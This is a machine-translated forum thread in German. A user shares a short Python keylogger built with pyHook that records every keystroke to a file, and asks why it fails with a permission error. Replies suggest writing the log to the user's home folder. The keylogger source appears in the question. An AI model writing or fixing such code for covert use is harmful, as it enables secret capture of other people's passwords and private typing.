2016-09-06 5 views
0

ich über diesen Tutorial eine einfache Python Keylogger erstellt haben: https://www.youtube.com/watch?v=8BiOPBsXh0gZugriff verweigert für Python Keylogger

import pyHook, pythoncom, sys, logging 

file_log = 'C:\\log.txt' 

def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

Wenn ich das Programm ausführen, und geben Sie etwas, bekomme ich diesen Fehler in der Konsole:

Traceback (most recent call last): 
File "C:\Users\Adithya1\Documents\pywin and pyhook\Newfolder\pyHook\HookManager.py", line 351, in KeyboardSwitch 
return func(event) 
File "C:\Users\Adithya1\Documents\pywin and pyhook\New folder\systemdata.pyw", line 6, in OnKeyboardEvent 
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
File "C:\Python27\lib\logging\__init__.py", line 1540, in basicConfig 
hdlr = FileHandler(filename, mode) 
File "C:\Python27\lib\logging\__init__.py", line 911, in __init__ 
StreamHandler.__init__(self, self._open()) 
File "C:\Python27\lib\logging\__init__.py", line 936, in _open 
stream = open(self.baseFilename, self.mode) 
IOError: [Errno 13] Permission denied: 'C:\\log.txt' 

Es muss mit der letzten Zeile zu tun, Berechtigung verweigert. Irgendeine Idee, was ich tun muss, um das zu beheben? Irgendeine Möglichkeit, es mit Administratorrechten zu betreiben?

Vielen Dank im Voraus

+4

Der einfachste und wohl sicherste Weg wäre, das Protokoll nicht in das Stammverzeichnis von C zu schreiben. Ändern Sie "file_log = 'C: \\ log.txt'" in etwas wie "file_log = 'C: \\ Benutzer \\ Adithya1 \\ log.txt "stattdessen. – stdunbar

+0

okay, danke. ist es möglich, etwas wie% HOMEPATH% hinzuzufügen (wie in einem Batch-Skript möglich), so dass es nur im Home-Pfad des Computers gespeichert wird? –

+0

@TechPlanet Das sollte möglich sein. – kirkpatt

Antwort

1

Umbuchen als Antwort für die zukünftige Verwendung

Die einfachste und wohl wäre sicherste Weg, das Protokoll nicht an die Wurzel von C. Ändern Sie den „file_log = schreiben 'C: \ log.txt' "in etwas wie" file_log = 'C: \ Benutzer \ Adithya1 \ log.txt "statt.

Es gibt other links zum Auffinden des Home-Verzeichnisses des Benutzers, um dieses portabler zu machen.